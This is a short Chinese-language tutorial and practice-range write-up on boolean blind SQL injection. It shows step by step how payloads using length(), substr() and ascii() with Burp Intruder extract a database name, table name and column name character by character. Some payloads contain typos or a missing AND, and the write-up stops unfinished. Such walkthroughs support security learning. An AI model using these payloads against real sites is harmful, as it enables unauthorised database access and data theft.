SQL注入--盲注

使用盲注的原因，是管理員關閉了回顯，無法獲知報錯情況

0x00 盲注

盲注需要配合 一些函式使用

length() 函式返回字串的長度
select length(‘aa’):
select length(‘12344556’)
substr() 擷取字串 （語法SUBSTR(str,pos,len)）
substr(擷取什麼字元，從那裡擷取，擷取多長)
substr(“abs”,1,2) //擷取 abs 第一個開始，取2位
ascll碼 數字可以比較 字串不能比較
sleep() 休眠 幾秒 

注意：盲注的時候不能使用聯合查詢，聯合查詢只有在頁面有輸出點的時候可以用

靶場練習：封神臺靶場

PASS-10

使用手工測試

經過不斷fuzz =12 有資料 數值 > 12沒資料

length(database())>12

length(database())=12

資料庫名有12位

通過substr()函式，程序測試

and ascllc(substr(database(),1,1))=107

and ascllc(substr(database(),對應的位置數值長度,1))=107

burp設定

1. 設定 $ $位置進行跑包

2. 設定 payload payload set 1 選擇 Simple list

payload set 2 選擇 Numbers 選擇 97-190 每次加+1 遞增

設定好了後 直接 Start attack 跑出來的包

1 : 107 ascii 對應 k

2 : 97 ascii 對應 a

3 : 110 ascii 對應 n

4 : 119 ascii 對應 w

..

11 : 105 ascii i

12 97 ascii a

kanwolongxia

猜測資料庫表名 SQL語句

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1

》1,

》2

》3,

》 4

進行測試

使用burp

108 l

111 0

102 f

108 l

97 a

103 g

loflag

猜測欄位名

and (ascii(substr((select column_name from information_schema.columns where table_schema=database() table_name="loflag" limit 0,1),1,1)))>1

102 f

108 l

97 a

103 g

108 l

111 0

flaglo

檢視欄位資料

and (ascii(substr((select flaglo from loflag limit 0,1),1,1)))>1

手注確認第一個為 ‘z’

使用burp跑包是出現點問題，沒有回返資料 就這樣了